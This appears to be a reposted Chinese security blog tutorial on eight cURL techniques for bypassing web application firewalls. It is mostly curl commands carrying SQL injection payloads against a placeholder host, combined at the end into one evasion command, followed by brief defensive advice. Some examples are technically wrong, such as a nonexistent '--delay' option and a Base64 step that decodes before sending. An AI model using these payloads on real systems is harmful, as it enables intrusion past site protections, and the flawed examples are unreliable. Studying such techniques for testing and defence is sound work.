8种实用的cURL绕过WAF技术详解:从基础到进阶

admin 2024年12月15日21:32:32评论104 views字数 2592阅读8分38秒阅读模式

 

声明:本文仅供安全研究和学习交流使用,严禁用于非法用途。

在Web应用安全测试中,绕过WAF(Web应用防火墙)是一个重要的技术点。本文将详细介绍如何使用cURL工具实现WAF绕过,并提供实用的命令示例。

8种实用的cURL绕过WAF技术详解:从基础到进阶

WAF简介

WAF是一种用于保护Web应用的安全设备,主要防御:

  • SQL注入
  • XSS跨站脚本
  • 请求洪水攻击
  • 其他Web攻击
用户请求 -> [ WAF ] -> Web应用 过滤恶意请求

cURL工具介绍

cURL是一个功能强大的命令行工具,支持:

  • HTTP/HTTPS协议
  • FTP协议
  • 自定义请求头
  • 数据传输加密

基本语法结构:

curl [options] [URL]

WAF绕过技术

1. 自定义HTTP头绕过

HTTP 头的类型

  1. 请求头 (Request Headers)
  • 客户端 -> 服务器
  • 包含在HTTP请求中
  • 用curl的-H参数修改
  1. 响应头 (Response Headers)
  • 服务器 -> 客户端
  • 包含在HTTP响应中
  • 由服务器端控制

请求头修改示例

# 基本HTTP请求头
curl -H "User-Agent: Mozilla/5.0" https://target.com

# 多个请求头
curl -X POST https://target.com 
  -H "User-Agent: Mozilla/5.0" 
  -H "Content-Type: application/json" 
  -H "Authorization: Bearer token123"

修改请求头以绕过WAF

curl -X POST https://target.com/login 
  -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_0)" 
  -H "Referer: https://trusted-site.com" 
  -d "username=admin&password=test123"

2. URL编码绕过

URL编码绕过是一种重要的WAF绕过技术

URL编码原理

URL编码将特殊字符转换为%XX格式:

  • 空格 -> %20
  • ' -> %27
  • " -> %22
  • = -> %3D
  • ( -> %28
  • ) -> %29

示例

原始payload -> URL编码 -> WAF检测 -> 目标应用

示例:

# 原始请求
curl "https://target.com/search?q=admin' OR 1=1--"

# URL编码后
curl "https://target.com/search?q=admin%27%20OR%201%3D1--"

3. HTTP方法绕过

HTTP方法绕过是一种通过替换或修改HTTP请求方法来绕过WAF的技术。

常见HTTP方法

  1. 标准方法
GET     - 获取资源
POST    - 提交数据
PUT     - 上传/更新资源
DELETE  - 删除资源
HEAD    - 获取响应头
OPTIONS - 获取支持的方法
  1. 不常见方法
TRACE   - 诊断测试
CONNECT - 建立隧道
PATCH   - 局部修改
PROPFIND- WebDAV方法

常用的HTTP方法替换:

  • GET → PUT
  • POST → PATCH
  • POST → OPTIONS

示例

curl -X PUT https://target.com/admin/upload 
  -d "[email protected]"

4. 空字节注入

空字节注入(Null Byte Injection)是一种通过插入空字节(%00或�)来绕过WAF检测的技术。

空字节原理

空字节是ASCII码为0的字符:

  • URL编码形式: %00
  • 十六进制: x00
  • 字符形式: �

许多程序在处理字符串时,会将空字节视为字符串结束符,这可能导致后续内容被截断。

示例

通过插入空字节(%00)来打断WAF的规则匹配:

curl "https://target.com/search?q=admin%00' OR 1=1--"

5. 大小写混淆

利用WAF对大小写的敏感性:

# 原始payload
admin' OR 1=1--

# 混淆后
AdMiN' oR 1=1--

6. 代理绕过

使用代理来绕过IP限制:

curl -x http://proxy.example.com:8080 
  https://target.com/login 
  -d "username=admin&password=test123"

7. Base64编码绕过

# 编码payload
encoded_payload=$(echo -n "admin' OR 1=1--" | base64)

# 发送请求
curl -X POST https://target.com/login 
  -d "username=$(echo $encoded_payload | base64 -d)"

8. 请求延迟绕过

请求延迟绕过(Request Delay Bypass)是一种通过控制请求时间或频率来绕过WAF检测的技术。

基本原理

  1. WAF超时机制
  • WAF通常有请求处理超时限制
  • 某些WAF在处理超时后会放行请求
  • 有些WAF会降低长连接请求的检测强度
  1. 请求速率限制
  • WAF可能有QPS(每秒查询率)限制
  • 某些WAF对高频请求会触发特殊处理
  • 速率限制可能影响检测精度

示例

控制请求速率避免触发WAF:

curl https://target.com/api/test 
  --limit-rate 100k 
  --delay 3

实战技巧组合

在实际测试中,往往需要组合多种技术:

  1. 基础请求
curl "https://target.com/search?q=test"
  1. 添加代理和编码
curl -x proxy:8080 
  "https://target.com/search?q=test%27%20OR%201%3D1--"
  1. 完整绕过方案
curl -x proxy:8080 
  -H "User-Agent: Mozilla/5.0" 
  -H "Referer: https://google.com" 
  --limit-rate 50k 
  "https://target.com/search?q=AdMiN%00%27%20OR%201%3D1--"

安全建议

  1. WAF配置

    • 启用全面的请求检查
    • 实施严格的规则策略
    • 定期更新规则库
  2. 开发建议

    • 输入验证
    • 参数化查询
    • 错误处理
  3. 运维建议

    • 监控异常请求
    • 记录安全日志
    • 定期安全评估

总结

WAF绕过是一个复杂的话题,需要:

  1. 深入理解HTTP协议
  2. 掌握多种绕过技术
  3. 灵活运用工具
  4. 注重安全防护

 

免责声明:本文仅供学习交流使用,禁止用于非法用途。

原文始发于微信公众号(HW安全之路):8种实用的cURL绕过WAF技术详解:从基础到进阶

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月15日21:32:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   8种实用的cURL绕过WAF技术详解:从基础到进阶https://cn-sec.com/archives/3511238.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息